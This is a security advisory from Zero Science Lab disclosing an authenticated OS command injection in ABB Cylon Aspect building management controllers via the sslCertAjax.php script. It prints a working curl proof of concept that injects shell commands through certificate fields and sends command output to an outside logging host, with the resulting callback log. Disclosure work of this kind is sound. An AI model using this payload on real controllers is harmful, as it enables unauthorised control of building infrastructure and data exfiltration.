ABB Cylon Aspect 3.08.00 (sslCertAjax.php) Remote Code Execution
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.00
Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.
Desc: The ABB BMS/BAS controller suffers from an authenticated OS command
injection vulnerability. This can be exploited to inject and execute arbitrary
shell commands through the 'country', 'state', 'locality', 'organization', and
'hostname' HTTP POST parameters called by the sslCertAjax.php script.
Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
Advisory ID: ZSL-2024-5842
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5842.php
21.04.2024
--
$ cat project
                 P   R   O   J   E   C   T
                        .|
                        | |
                        |'|            ._____
                ___    |  |            |.   |' .---"|
        _    .-'   '-. |  |     .--'|  ||   | _|    |
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |
     |' | |.    |    ||       | |   |  |    ||      |
 ____|  '-'     '    ""       '-'   '-.'    '`      |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  
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░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
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░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ 
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         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░ 
$ curl -X POST "http://192.168.73.31/sslCertAjax.php" \
> -H "Cookie: PHPSESSID=xxx" \
> -d "opType=genCert\
> &country=`sleep 1`\
> &state=`sleep 2`\
> &locality=`sleep 3`\
> &organization=`sleep 4`\
> &hostname=ZSL$(curl -A `id` remotelog.zeroscience.mk)" ; ./incom -l httplog &
<div>Certificate Generation Successful</div>
[1]  + 50123 done       incom
$
$ cat httplog
------ remotelog ------
GET / HTTP/1.1
User-Agent: uid=33(www-data)
Host: remotelog.zeroscience.mk
Accept: */*
------ remotelog ------
$ shutdown -h +17 "Good afternoon, good evening and good night."